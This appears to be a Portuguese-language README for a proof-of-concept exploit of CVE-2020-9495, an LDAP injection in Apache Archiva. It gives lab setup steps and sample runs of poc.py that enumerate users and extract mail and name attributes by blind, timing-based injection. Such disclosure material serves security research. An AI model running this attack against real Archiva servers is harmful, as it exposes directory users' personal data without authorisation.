
Exploit de prova de conceito para CVE-2020-9495, uma vulnerabilidade de injeção LDAP no Apache Archiva. Enumera usuários LDAP e exfiltra valores arbitrários de atributos via injeção cega.
CVE-2020-9495 é uma vulnerabilidade de injeção LDAP de severidade média no Apache Archiva versões anteriores à 2.2.5. Permite que um atacante recupere qualquer valor de atributo LDAP de usuários que existem no servidor LDAP.
Do comunicado oficial do Apache Archiva advisory:
Ao fornecer valores especiais ao formulário de login do Archiva, um atacante é capaz de recuperar dados de atributos de usuário do servidor LDAP conectado. Com certos caracteres, é possível modificar o filtro LDAP usado para consultar os usuários no servidor LDAP conectado. Medindo o tempo de resposta, dados arbitrários de atributos podem ser recuperados de objetos de usuário LDAP.
O script poc.py demonstra como um atacante não autorizado pode enumerar usuários no servidor LDAP integrado com o Archiva e obter o valor de qualquer atributo de qualquer usuário.
Pule esta etapa se você já tiver um servidor Archiva com autenticação LDAP habilitada.
Baixe o Archiva 2.2.4 e extraia-o
$ wget https://archive.apache.org/dist/archiva/2.2.4/binaries/apache-archiva-2.2.4-bin.tar.gz
$ tar -zxf apache-archiva-2.2.4-bin.tar.gz
Execute o servidor OpenLDAP
$ docker run -p 2389:389 --name my-openldap-container osixia/openldap:1.3.0
Importe usuários de users.ldif para o LDAP
$ ldapadd -x -D "cn=admin,dc=example,dc=org" -w admin -H ldap://localhost:2389 -f users.ldif
Execute o servidor Archiva
$ bin/archiva console
Habilite e configure a autenticação LDAP via interface web
$ ./poc.py --url http://127.0.0.1:8080
[INFO] Enumerating users from http://127.0.0.1:8080
[INFO] Calibration...
[INFO] Calibration done
admin1
admin2
admin3
admin4
admin5
admin6
admin7
user1
user2
user3
user4
admin1$ ./poc.py --url http://127.0.0.1:8080 --user admin1 --attr mail
[INFO] Exfiltrating mail attribute of admin1 user from http://127.0.0.1:8080
[INFO] Calibration...
[INFO] Calibration done
[email protected]
$ ./poc.py --url http://127.0.0.1:8080 --user admin1 --attr givenName
[INFO] Exfiltrating givenName attribute of admin1 user from http://127.0.0.1:8080
[INFO] Calibration...
[INFO] Calibration done
admin1
$ ./poc.py --url http://127.0.0.1:8080 --user admin1 --attr sn
[INFO] Exfiltrating sn attribute of admin1 user from http://127.0.0.1:8080
[INFO] Calibration...
[INFO] Calibration done
last